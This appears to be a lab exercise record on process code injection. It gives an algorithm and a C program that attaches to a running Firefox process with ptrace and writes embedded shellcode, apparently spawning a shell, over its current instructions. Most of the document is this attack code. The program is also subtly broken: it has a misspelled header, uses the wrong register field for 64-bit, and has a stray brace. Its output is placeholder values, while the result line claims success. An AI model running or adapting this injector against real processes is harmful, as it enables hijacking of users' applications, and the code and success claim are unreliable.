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## PROCESS CODE INJECTION

Aim: To do process code injection on Firefox using ptrace system call

## Algorithm:

- Step 1: Find out the PID of the running Firefox program.
- Step 2: Create the code injection file.
- Step 3: Get the PID of Firefox from the command line arguments.
- Step 4: Allocate memory buffers for the shellcode.
- Step 5: Attach to the victim process with PTRACE\_ATTACH.
- Step 6: Get the register values of the attached process.
- Step 7: Use PTRACE\_POKETEXT to insert the shellcode.
- Step 8: Detach from the victim process using PTRACE\_DETACH.

## **Program:**

```
# include <stdio.h>
# include <stdib.h>
# include <string.h>
# include <unistd.h>
# include <sys/wait.h>
# include <sys/ptrace.h>
# include <sys/user.h>

char shellcode[] = {
    "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97"
    "\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
};

void header() {
    printf(" --- Memory bytecode injector\n");
```

```
}
int main(int argc, char** argv) {
  int i, size, pid = 0;
  struct user_regs_struct reg;
  char* buff;
  header();
  pid = atoi(argv[1]);
  size = sizeof(shellcode);
  buff = (char*)malloc(size);
  memset(buff, 0x0, size);
  memcpy(buff, shellcode, sizeof(shellcode));
  ptrace(PTRACE_ATTACH, pid, 0, 0);
  wait((int*)0);
  ptrace(PTRACE_GETREGS, pid, 0, &reg);
  printf("Writing EIP 0x%x, process %d\n", reg.eip, pid);
  for (i = 0; i < size; i++)
    ptrace(PTRACE_POKETEXT, pid, reg.eip + i, *(int*)(buff + i));
  }
  ptrace(PTRACE_DETACH, pid, 0, 0);
  free(buff);
  return 0;
}
Output:
----Memory bytecode injector
Writing EIP 0x12345678, process 12345
```

## **Result:**

Thus process code injection on Firefox using ptrace system call was implemented successfully.